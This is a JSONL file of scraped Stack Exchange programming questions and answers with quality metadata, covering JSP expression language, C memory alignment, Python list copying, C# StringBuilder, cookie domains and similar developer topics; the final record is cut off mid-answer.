{"id": "hf_8199790e1846", "question": "<p>I'm working on a JSP where I need to call methods on object that come from a Bean. The previous version of the page does not use JSTL and it works properly. My new version has a set up like this:</p>\n\n<pre><code>&lt;jsp:useBean id=\"pageBean\" scope=\"request\" type=\"com.epicentric.page.website.PageBean\" /&gt;\n&lt;c:set var=\"pageDividers\" value=\"&lt;%= pageBean.getPageDividers() %&gt;\" /&gt;\n&lt;c:set var=\"numColumns\" value=\"${pageDividers.size()}\" /&gt;\n</code></pre>\n\n<p>The variable <code>pageDividers</code> is a <code>List</code> object.</p>\n\n<p>I'm encountering this issue: when I ask for <code>pageDivider</code>'s size, an exception is thrown. I know this is a simple JTSL error -- what am I doing wrong?</p>\n\n<p>The error message is:</p>\n\n<blockquote>\n  <p>The function size must be used with a prefix when a default namespace is not specified</p>\n</blockquote>\n\n<p>How do I correctly access or call the methods of my <code>pageDividers</code> object?</p>\n", "question_body": "", "answer": "To access the property of a bean using EL you simply name the property (not invoke the method). So lets say you have a method called getSize() in the bean then\n```\n```\n${pageDividers.size}\n```\n```\nNotice no ().\nEDIT:Sorry...made an error in the original post.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.512081"}
{"id": "hf_f6eb932f65c0", "question": "<p>How can I read an Open Office 3.0 spreadsheet (.ods) from Groovy?  I'd like to select specific columns from a named worksheet.  Ideally, it would be useful to add a 'where' clause, or other criteria clause.</p>\n", "question_body": "", "answer": "Might be something here at\nSpring Factories\nor here at\nGroovy and JMX\n. There is a forum for\nGroovy and Open Office\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.534515"}
{"id": "hf_a0c44d8a1c6b", "question": "<p>Are you aware of any open source libraries/projects that offer audio watermarking capability?</p>\n", "question_body": "", "answer": "check wikipedia:\nhttp://en.wikipedia.org/wiki/Steganography#Implementations\nsection 3 of this site site is on audio:\nhttp://www.binary-universe.net/\nsame author did a project on codeplex.\nthese also do audio:\nStegHide\nmpeStego", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.557232"}
{"id": "hf_e22339f824f5", "question": "<p>I know that it is possible to check how much physical RAM is installed using <code>GetPhysicallyInstalledSystemMemory</code> or how much ram the operating system can see using <code>GlobalMemoryStatusEx</code>.  However, I am wondering if there is any way to check how much ram a user has installed by slot.  That is, to be able to programmatically tell the difference between 1x2GB of ram and 2x1GB of ram, thus checking if the computer can be upgraded easily via software.  Ideally, a way to check this without .Net.</p>\n", "question_body": "", "answer": "Reviewing the MSDN docs for the functions listed\nhere\n, I see that the function checks with the SMBIOS table, which is referenced by a standard\nhere\nIt appears that you indeed can find the information you seek through the BIOS. You may have to install a driver to get that information out to your program.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.626502"}
{"id": "hf_2ac18fbb3ad3", "question": "<p>Does anyone have a good articles or tutorial on correctly using dispose and IDisposable.  I am trying to explain this to some junior dev and wanted to get some extra material, examples, etc.</p>\n", "question_body": "", "answer": "A good place to start is this MSDN article by Shawn Farkas\nhttp://msdn.microsoft.com/en-us/magazine/cc163392.aspx\n. The definitive article is by Joe Duffy at\nhttp://www.bluebytesoftware.com/blog/2005/04/08/DGUpdateDisposeFinalizationAndResourceManagement.aspx\nwith some follow-up in\nhttp://www.bluebytesoftware.com/blog/2008/02/18/IDisposableFinalizationAndConcurrency.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.667429"}
{"id": "hf_e21d6680ef63", "question": "<p>Is there a simple way to parse a date that may be in MM/DD/yyyy, or M/D/yyyy, or some combination? i.e. the zero is optional before a single digit day or month.</p>\n\n<p>To do it manually, one could use:</p>\n\n<pre><code>String[] dateFields = dateString.split(\"/\");\nint month = Integer.parseInt(dateFields[0]);\nint day = Integer.parseInt(dateFields[1]);\nint year = Integer.parseInt(dateFields[2]);\n</code></pre>\n\n<p>And validate with:</p>\n\n<pre><code>dateString.matches(\"\\\\d\\\\d?/\\\\d\\\\d?/\\\\d\\\\d\\\\d\\\\d\")\n</code></pre>\n\n<p>Is there a call to SimpleDateFormat or JodaTime that would handle this?</p>\n", "question_body": "", "answer": "Yep, use setLenient:\n```\n```\nDateFormat df = new SimpleDateFormat(\"MM/dd/yyyy\");\ndf.setLenient(true);\nSystem.out.println(df.parse(\"05/05/1999\"));\nSystem.out.println(df.parse(\"5/5/1999\"));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.763880"}
{"id": "hf_a3dcfe564a1c", "question": "<p>How do I copy a directory including sub directories excluding files or directories that match a certain regex on a Windows system?</p>\n", "question_body": "", "answer": "I don't know how to do an exclusion with a copy, but you could work something up along the lines of:\n```\n```\nls -R1 | grep -v <regex to exclude> | awk '{printf(\"cp %s /destination/path\",$1)}' | /bin/sh\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.799550"}
{"id": "hf_52197ee7d94f", "question": "<p>There are a whole raft of questions regarding payment processors for <b>web</b> applications but I haven't seen one yet for desktop applications. What are your experiences?</p>\n\n<p>Perhaps to put this into a little context, the requirements:</p>\n\n<ol>\n<li>Should be customisable</li>\n<li>Should be available in Australia at least, if not world wide (less critical).</li>\n<li>No storage of credit card details</li>\n<li>Recurrent micro payments of varying amounts each time</li>\n<li>1-click payment. It's ok for the user to be registered with the payment processor provider.</li>\n</ol>\n", "question_body": "", "answer": "Times may be a changing, but I don't think that you can get all of the above.\nI do have some experience a couple years back with credit cards in North America.  At the time the company I worked for needed recurring billing for a different amount each month (much like your requirement). At the time, none of the providers I looked into allowed for recurring payments where the amount varied. This may have changed, but I do not know of one.\nI suspect your options are either to store credit cards and process your own transactions (not too hard but a path you have to walk carefully) or use recurring billing with a constant amount.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.821962"}
{"id": "hf_79d34f169db9", "question": "<p>I am trying to create controller actions which will return either JSON or partial html depending upon a parameter. What is the best way to get the result returned to an MVC page asynchronously?</p>\n", "question_body": "", "answer": "In your action method, return Json(object) to return JSON to your page.\n```\n```\npublic ActionResult SomeActionMethod() {\n  return Json(new {foo=\"bar\", baz=\"Blech\"});\n}\n```\n```\nThen just call the action method using Ajax. You could use one of the helper methods from the ViewPage such as\n```\n```\n<%= Ajax.ActionLink(\"SomeActionMethod\", new AjaxOptions {OnSuccess=\"somemethod\"}) %>\n```\n```\nSomeMethod would be a javascript method that then evaluates the Json object returned.\nIf you want to return a plain string, you can just use the ContentResult:\n```\n```\npublic ActionResult SomeActionMethod() {\n    return Content(\"hello world!\");\n}\n```\n```\nContentResult by default returns a text/plain as its contentType.\nThis is overloadable so you can also do:\n```\n```\nreturn Content(\"<xml>This is poorly formatted xml.</xml>\", \"text/xml\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.843717"}
{"id": "hf_c718d415d507", "question": "<p>I have this 'simplified' fortran code</p>\n\n<pre><code>real B(100, 200) \nreal A(100,200)\n\n... initialize B array code.\n\ndo I = 1, 100\n  do J = 1, 200\n    A(J,I) = B(J,I)\n  end do\nend do\n</code></pre>\n\n<p>One of the programming gurus warned me, that fortran accesses data efficiently in column order, while c accesses data efficiently in row order.   He suggested that I take a good hard look at the code, and be prepared to switch loops around to maintain the speed of the old program.</p>\n\n<p>Being the lazy programmer that I am, and recognizing the days of effort involved, and the mistakes I am likely to make, I started wondering if there might a #define technique that would let me convert this code safely, and easily.</p>\n\n<p>Do you have any suggestions?</p>\n", "question_body": "", "answer": "Are you sure your FORTRAN guys did things right?\nThe code snippet you originally posted is already accessing the arrays in row-major order (which is 'inefficient' for FORTRAN, 'efficient' for C).\nAs illustrated by the snippet of code and as mentioned in your question, getting this 'correct' can be error prone.  Worry about getting the FORTRAN code ported to C first without worrying about details like this.  When the port is working - then you can worry about changing column-order accesses to row-order accesses (if it even really matters after the port is working).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.867155"}
{"id": "hf_194b6240c44c", "question": "<p>I'm a total amateur writing a small App to track to changes in folders. I imagine I'll be keeping information about the directories to watch in one datatable bound to a gridview, when the user clicks a button, the program will create FileSystemWatchers to keep an eye on the directories and they will send their event messages to another datatable bound to another gridview. Where in the wide wide world of OOP should I be declaring, initiating, and manipulating the Datatables? The main form, inside main, in a class, or should I \"give up\" and use Visual Studio to automagically create a DataSet and stick two tables in it?</p>\n", "question_body": "", "answer": "Well horses for courses. For a little utility app you would probably be better off using the VS \"Visual/RAD\" style of programming. Eg drag and drop tables etc on to the form, like most of the tutorials show.\nStrictly speaking, and for a larger app, a more correct way would be to make a separate assembly(.dll) that handles data access and you call the classes within that assembly from the main form. This concept goes under a number of terms, but effectively you want to separate your concerns. In other words, let the UI handle UI interactions, have a separate assembly/project/whatever that handles database interactivity, and another separate assembly/project/whatever that handles business logic etc.\nThat last couple of sentences can mean different things to different people, and there is no 100% correct way to do things.\nSome articles that may help:\nlink text\nlink text\nlink text", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.946850"}
{"id": "hf_0a2bf61f939f", "question": "<p>I've used both and I've found MySql to have several frustrating bugs, limited support for: IDE integration, profiling, integration services, reporting, and even lack of a decent manager. Total cost of ownership of MSSQL Server is touted to be less than MySQL too (.net environment), but maintaining an open mind could someone point out any killer features of MySql?</p>\n", "question_body": "", "answer": "I've used MySQL in the past and I'm using MSSQL lately but I can't remember anything that MySQL has and MSSQL can't do.\nI think the most killer feature of MySQL it's the simplicity. For some projects you just don't need all the power you can have with a huge system like MSSQL. I have an UNIX heritage and find the simple configuration file like my.ini a killer feature of MySQL.\nAlso the security system of MySQL is much less robust but it makes the job right for most of applications. I believe MySQL it's killer itself from this point of view, and should stay that way, letting young users being introduced to RDBMS with a simple view first. If your project gets big enough that you are considering switch to a more robust system, then MSSQL can pop as a possibility.\nThat's what happened to me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:50.994223"}
{"id": "hf_b10571839483", "question": "<p>I found <a href=\"http://www.jenitennison.com/xslt/grouping/muenchian.html\" rel=\"noreferrer\">this page</a> describing the Muenchian method, but I think I'm applying it wrong.</p>\n\n<p>Consider that this would return a set of ages:</p>\n\n<pre><code>/doc/class/person/descriptive[(@name='age')]/value\n</code></pre>\n\n<blockquote>\n  <p>1..2..2..2..3..3..4..7</p>\n</blockquote>\n\n<p>But I would like a nodeset only one node for each age.</p>\n\n<blockquote>\n  <p>1..2..3..4..7</p>\n</blockquote>\n\n<p>Each of these seem to return all of the values, instead of unique values:</p>\n\n<pre><code>/doc/class/person/descriptive[(@name='age')][not(value=preceding-sibling::value)]/value\n/doc/class/person/descriptive[(@name='age')]/value[not(value=preceding-sibling::value)]\n</code></pre>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "Aren't you missing a reference to 'descriptive' right after the preceding-value? Some thing like the following:\n```\n```\n/doc/class/person/descriptive[(@name='age')][not(value=preceding-sibling::descriptive[@name='age']/value)]/value\n```\n```\n(Haven't tested it)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.016380"}
{"id": "hf_155c1e5b0fe2", "question": "<p>I need to do some large integer math.  Are there any classes or structs out there that represent a 128-bit integer and implement all of the usual operators?</p>\n<p>BTW, I realize that <code>decimal</code> can be used to represent a 96-bit int.</p>\n", "question_body": "", "answer": "No, there's nothing in .NET <= 3.5. I'm hoping/expecting that\nBigInteger\nwill make its return in .NET 4.0. (It was\ncut from .NET 3.5\n.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.077310"}
{"id": "hf_e01850064c86", "question": "<p>I have a case where a 3rd party ad is bleeding through my modal window implementation. I'd like to up the z-index of the modal overlay as high as possible so the ad won't show on top of it. Is there a limit to z-index values? I'm sure if there is it varies by browser. Anyone know?</p>\n", "question_body": "", "answer": "Not really, but you might consider the natural limitations of a system, like an int range. I'd\nprobably keep it under 32,767\n.  I've definitely exceeded that in javascript while working on a similar problem, and didn't encounter any problems on the major browsers and platforms that I was concerned about at the time.\nIn the case of 3rd party ads and overlays, making sure that\nwmode=\"transparent\"\non the flash embed is a common problem along the same lines.  Also worth noting that IE has a bug with stacking z-indexes, so if you're not seeing success, make sure you're not hitting your head up against the wall with that one*.\nI always like to keep to some kind of\nconvention\n, and not use arbitrary figures.  For example, maybe everything in my\ncss falls between 0 and 10\n.  Maybe dhtml stuff happens in the 100's place values, with a meaningful z-index for any given module.\n*Sidenote:\nThe IE bug, to be specific, is that IE considers a new instance of document flow to be a new stacking context for z-index.  You need to make sure that your z-indexes aren't being lost in the DOM hierarchy when a child node that would normally be inheriting your z-index is being rendered it's own positioning context.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.099340"}
{"id": "hf_55dce615de9b", "question": "<p>Someone told me that it's faster to concatenate strings with StringBuilder. I have changed my code but I do not see any Properties or Methods to get the final build string. </p>\n\n<p>How can I get the string?</p>\n", "question_body": "", "answer": "Once you have completed the processing using the StringBuilder, use the ToString method to return the final result.\nFrom MSDN:\n```\n```\nusing System;\nusing System.Text;\n\npublic sealed class App \n{\n    static void Main() \n    {\n        // Create a StringBuilder that expects to hold 50 characters.\n        // Initialize the StringBuilder with \"ABC\".\n        StringBuilder sb = new StringBuilder(\"ABC\", 50);\n\n        // Append three characters (D, E, and F) to the end of the StringBuilder.\n        sb.Append(new char[] { 'D', 'E', 'F' });\n\n        // Append a format string to the end of the StringBuilder.\n        sb.AppendFormat(\"GHI{0}{1}\", 'J', 'k');\n\n        // Display the number of characters in the StringBuilder and its string.\n        Console.WriteLine(\"{0} chars: {1}\", sb.Length, sb.ToString());\n\n        // Insert a string at the beginning of the StringBuilder.\n        sb.Insert(0, \"Alphabet: \");\n\n        // Replace all lowercase k's with uppercase K's.\n        sb.Replace('k', 'K');\n\n        // Display the number of characters in the StringBuilder and its string.\n        Console.WriteLine(\"{0} chars: {1}\", sb.Length, sb.ToString());\n    }\n}\n\n// This code produces the following output.\n//\n// 11 chars: ABCDEFGHIJk\n// 21 chars: Alphabet: ABCDEFGHIJK\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.123255"}
{"id": "hf_e982341a91d2", "question": "<p>So I'm teaching myself Python, and I'm having an issue with lists. I want to pass my function a list and pop items off it while retaining the original list. How do I make python \"instance\" the passed list rather that passing a pointer to the original one?</p>\n\n<p>Example:</p>\n\n<pre><code>def burninate(b):\n    c = []\n    for i in range(3):\n        c.append(b.pop())\n    return c\n\na = range(6)\nd = burninate(a)\nprint a, d\n</code></pre>\n\n<p>Output: [0, 1, 2] [5, 4, 3]<br>\nDesired output: [0, 1, 2, 3, 4, 5] [5, 4, 3]</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You can call\n```\nburninate()\n```\nwith a copy of the list like this:\n```\nd = burninate(a[:])\n```\nor,\n```\nd = burninate(list(a))\n```\nThe other alternative is to make a copy of the list in your method:\n```\n```\ndef burninate(b):\n    c=[]\n    b=b[:]\n    for i in range(3):\n        c.append(b.pop())\n    return c\n\n>>> a = range(6)\n>>> b = burninate(a)\n>>> print a, b\n>>> [0, 1, 2, 3, 4, 5] [5, 4, 3]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.170172"}
{"id": "hf_c98732045a48", "question": "<p>In my cross-platform architecture, I would like to act on a context menu click (right button click) during a mouse click event.  In Cocoa, can you detect that the user either Ctrl-Clicked or double-tapped on touchpad (right-click equivalent) DURING the mouseDown event?  I am aware of NSView's menuForEvent but do not wish to handle it here.</p>\n", "question_body": "", "answer": "If you're using AppKit, and you want to detect a right-click in your view, you should override\n```\n-[NSResponder rightMouseDown:]\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.193755"}
{"id": "hf_c530fa1a4360", "question": "<p>I have a Rails app that sets a cookie and does a redirect to another server once the user is logged in. However, the cookie that the Rails app sets isn't seen by the server for some reason. I've tried setting http_only to false but I still can't even see the cookie unless the domain is the same as my Rails app. Here's the code I'm using to set the cookie:</p>\n\n<pre><code>cookies[:dev_appserver_login] = \n  { :value =&gt; \"#{email}:#{nick}:#{admin}:#{hsh}\",\n    :domain =&gt; \"webserver-to-redirect-to\",\n    :expires =&gt; 30.days.from_now }\n\nredirect_to session[:dest_url]\n</code></pre>\n\n<p>If I manually create a cookie with the <a href=\"https://addons.mozilla.org/en-US/firefox/addon/60\" rel=\"nofollow noreferrer\">Web Developer extension</a> in Firefox it works fine, but not when Rails does it. Any ideas?</p>\n", "question_body": "", "answer": "What are the redirecting and redirected-to servers? You can only set ‘domain’ to the current hostname or a parent domain, so if you're on a.example.com and you're redirecting to b.example.com, you have to set ‘domain’ to .example.com,\nnot\nb.example.com as implied in the code snippet.\n(And open domains like the .com TLD aren't themselves allowed as domain values, so if you want to pass a cookie from a.example.com to b.somewhereelse.com you will need a more complicated solution probably involving changing the code on somewhereelse.com.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.217024"}
{"id": "hf_d79e4b31fc53", "question": "<p>I was just writing some quick code and noticed this complier error </p>\n\n<blockquote>\n  <p>Using the iteration variable in a lambda expression may have unexpected results.<br>\n  Instead, create a local variable within the loop and assign it the value of the iteration variable.</p>\n</blockquote>\n\n<p>I know what it means and I can easily fix it, not a big deal.<br>\nBut I was wondering why it is a bad idea to use a iteration variable  in a lambda?<br>\nWhat problems can I cause later on?</p>\n", "question_body": "", "answer": "Assuming you mean C# here.\nIt's because of the way the compiler implements closures. Using an iteration variable\ncan\ncause a problem with accessing a modified closure (note that I said 'can' not 'will' cause a problem because sometimes it doesn't happen depending on what else is in the method, and sometimes you actually want to access the modified closure).\nMore info:\nhttp://blogs.msdn.com/abhinaba/archive/2005/10/18/482180.aspx\nEven more info:\nhttp://blogs.msdn.com/oldnewthing/archive/2006/08/02/686456.aspx\nhttp://blogs.msdn.com/oldnewthing/archive/2006/08/03/687529.aspx\nhttp://blogs.msdn.com/oldnewthing/archive/2006/08/04/688527.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.240490"}
{"id": "hf_35163d72b4b1", "question": "<p>How do I determine the dependencies of a .NET application? Does <a href=\"http://www.dependencywalker.com/\" rel=\"noreferrer\">Dependency Walker</a> work with managed apps? I've downloaded the latest and tried profiling the app, but it just exits without much of an explanation. If it doesn't work with .NET, then is there some other tool that would help me debug a run-time DLL loading issue?</p>\n", "question_body": "", "answer": "Dependency walker works on normal win32 binaries. All .NET dll's and exe's have a small stub header part which makes them look like normal binaries, but all it basically says is \"load the CLR\" - so that's all that dependency walker will tell you.\nTo see which things your .NET app actually relies on, you can use the tremendously excellent\n.NET reflector\nfrom Red Gate. (EDIT: Note that .NET Reflector is now a paid product.\nILSpy\nis free and open source and very similar.)\nLoad your DLL into it, right click, and chose 'Analyze' - you'll then see a \"Depends On\" item which will show you all the other dll's (and methods inside those dll's) that it needs.\nIt can sometimes get trickier though, in that your app depends on X dll, and X dll is present, but for whatever reason can't be loaded or located at runtime.\nTo troubleshoot those kinds of issues, Microsoft have an\nAssembly Binding Log Viewer\nwhich can show you what's going on\nat runtime", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:51.285847"}
{"id": "hf_bbabdba2eca1", "question": "<p>I just finished a test as part of a job interview, and one question stumped me, even using Google for reference. I'd like to see what the StackOverflow crew can do with it:</p>\n<blockquote>\n<p>The <code>memset_16aligned</code> function requires a 16-byte aligned pointer passed to it, or it will crash.</p>\n<p>a) How would you allocate 1024 bytes of memory, and align it to a 16 byte boundary?<br />\nb) Free the memory after the <code>memset_16aligned</code> has executed.</p>\n</blockquote>\n<pre><code>{    \n   void *mem;\n   void *ptr;\n\n   // answer a) here\n\n   memset_16aligned(ptr, 0, 1024);\n\n   // answer b) here    \n}\n</code></pre>\n", "question_body": "", "answer": "Original answer\n```\n```\n{\n    void *mem = malloc(1024+16);\n    void *ptr = ((char *)mem+16) & ~ 0x0F;\n    memset_16aligned(ptr, 0, 1024);\n    free(mem);\n}\n```\n```\nFixed answer\n```\n```\n{\n    void *mem = malloc(1024+15);\n    void *ptr = ((uintptr_t)mem+15) & ~ (uintptr_t)0x0F;\n    memset_16aligned(ptr, 0, 1024);\n    free(mem);\n}\n```\n```\nExplanation as requested\nThe first step is to allocate enough spare space, just in case.  Since the memory must be 16-byte aligned (meaning that the leading byte address needs to be a multiple of 16), adding 16 extra bytes guarantees that we have enough space.  Somewhere in the first 16 bytes, there is a 16-byte aligned pointer.  (Note that\n```\nmalloc()\n```\nis supposed to return a pointer that is sufficiently well aligned for\nany\npurpose.  However, the meaning of 'any' is primarily for things like basic types —\n```\nlong\n```\n,\n```\ndouble\n```\n,\n```\nlong double\n```\n,\n```\nlong long\n```\n, and pointers to objects and pointers to functions.  When you are doing more specialized things, like playing with graphics systems, they can need more stringent alignment than the rest of the system — hence questions and answers like this.)\nThe next step is to convert the void pointer to a char pointer; GCC notwithstanding, you are not supposed to do pointer arithmetic on void pointers (and GCC has warning options to tell you when you abuse it).  Then add 16 to the start pointer.  Suppose\n```\nmalloc()\n```\nreturned you an impossibly badly aligned pointer: 0x800001.  Adding the 16 gives 0x800011. Now I want to round down to the 16-byte boundary — so I want to reset the last 4 bits to 0.  0x0F has the last 4 bits set to one; therefore,\n```\n~0x0F\n```\nhas all bits set to one except the last four.  Anding that with 0x800011 gives 0x800010.  You can iterate over the other offsets and see that the same arithmetic works.\nThe last step,\n```\nfree()\n```\n, is easy: you always, and only, return to\n```\nfree()\n```\na value that one of\n```\nmalloc()\n```\n,\n```\ncalloc()\n```\nor\n```\nrealloc()\n```\nreturned to you — anything else is a disaster.  You correctly provided\n```\nmem\n```\nto hold that value — thank you.  The free releases it.\nFinally, if you know about the internals of your system's\n```\nmalloc\n```\npackage, you could guess that it might well return 16-byte aligned data (or it might be 8-byte aligned).  If it was 16-byte aligned, then you'd not need to dink with the values.  However, this is dodgy and non-portable — other\n```\nmalloc\n```\npackages have different minimum alignments, and therefore assuming one thing when it does something different would lead to core dumps.  Within broad limits, this solution is portable.\nSomeone else mentioned\n```\nposix_memalign()\n```\nas another way to get the aligned memory; that isn't available everywhere, but could often be implemented using this as a basis.  Note that it was convenient that the alignment was a power of 2; other alignments are messier.\nOne more comment — this code does not check that the allocation succeeded.\nAmendment\nWindows Programmer\npointed out that you can't do bit mask operations on pointers, and, indeed, GCC (3.4.6 and 4.3.1 tested) does complain like that.  So, an amended version of the basic code — converted into a main program, follows.  I've also taken the liberty of adding just 15 instead of 16, as has been pointed out.  I'm using\n```\nuintptr_t\n```\nsince C99 has been around long enough to be accessible on most platforms.  If it wasn't for the use of\n```\nPRIXPTR\n```\nin the\n```\nprintf()\n```\nstatements, it would be sufficient to\n```\n#include <stdint.h>\n```\ninstead of using\n```\n#include <inttypes.h>\n```\n.\n[This code includes the fix pointed out by\nC.R.\n, which was reiterating a point first made by\nBill K\na number of years ago, which I managed to overlook until now.]\n```\n```\n#include <assert.h>\n#include <inttypes.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic void memset_16aligned(void *space, char byte, size_t nbytes)\n{\n    assert((nbytes & 0x0F) == 0);\n    assert(((uintptr_t)space & 0x0F) == 0);\n    memset(space, byte, nbytes);  // Not a custom implementation of memset()\n}\n\nint main(void)\n{\n    void *mem = malloc(1024+15);\n    void *ptr = (void *)(((uintptr_t)mem+15) & ~ (uintptr_t)0x0F);\n    printf(\"0x%08\" PRIXPTR \", 0x%08\" PRIXPTR \"\\n\", (uintptr_t)mem, (uintptr_t)ptr);\n    memset_16aligned(ptr, 0, 1024);\n    free(mem);\n    return(0);\n}\n```\n```\nAnd here is a marginally more generalized version, which will work for sizes which are a power of 2:\n```\n```\n#include <assert.h>\n#include <inttypes.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nstatic void memset_16aligned(void *space, char byte, size_t nbytes)\n{\n    assert((nbytes & 0x0F) == 0);\n    assert(((uintptr_t)space & 0x0F) == 0);\n    memset(space, byte, nbytes);  // Not a custom implementation of memset()\n}\n\nstatic void test_mask(size_t align)\n{\n    uintptr_t mask = ~(uintptr_t)(align - 1);\n    void *mem = malloc(1024+align-1);\n    void *ptr = (void *)(((uintptr_t)mem+align-1) & mask);\n    assert((align & (align - 1)) == 0);\n    printf(\"0x%08\" PRIXPTR \", 0x%08\" PRIXPTR \"\\n\", (uintptr_t)mem, (uintptr_t)ptr);\n    memset_16aligned(ptr, 0, 1024);\n    free(mem);\n}\n\nint main(void)\n{\n    test_mask(16);\n    test_mask(32);\n    test_mask(64);\n    test_mask(128);\n    return(0);\n}\n```\n```\nTo convert\n```\ntest_mask()\n```\ninto a general purpose allocation function, the single return value from the allocator would have to encode the release address, as several people have indicated in their answers.\nProblems with interviewers\nUri\ncommented: Maybe I am having [a] reading comprehension problem this morning, but if the interview question specifically says: \"How would you allocate 1024 bytes of memory\" and you clearly allocate more than that. Wouldn't that be an automatic failure from the interviewer?\nMy response won't fit into a 300-character comment...\nIt depends, I suppose.  I think most people (including me) took the question to mean \"How would you allocate a space in which 1024 bytes of data can be stored, and where the base address is a multiple of 16 bytes\".  If the interviewer really meant how can you allocate 1024 bytes (only) and have it 16-byte aligned, then the options are more limited.\nClearly, one possibility is to allocate 1024 bytes and then give that address the 'alignment treatment'; the problem with that approach is that the actual available space is not properly determinate (the usable space is between 1008 and 1024 bytes, but there wasn't a mechanism available to specify which size), which renders it less than useful.\nAnother possibility is that you are expected to write a full memory allocator and ensure that the 1024-byte block you return is appropriately aligned.  If that is the case, you probably end up doing an operation fairly similar to what the proposed solution did, but you hide it inside the allocator.\nHowever, if the interviewer expected either of those responses, I'd expect them to recognize that this solution answers a closely related question, and then to reframe their question to point the conversation in the correct direction.  (Further, if the interviewer got really stroppy, then I wouldn't want the job; if the answer to an insufficiently precise requirement is shot down in flames without correction, then the interviewer is not someone for whom it is safe to work.)\nThe world moves on\nThe title of the question has changed recently.  It was\nSolve the memory 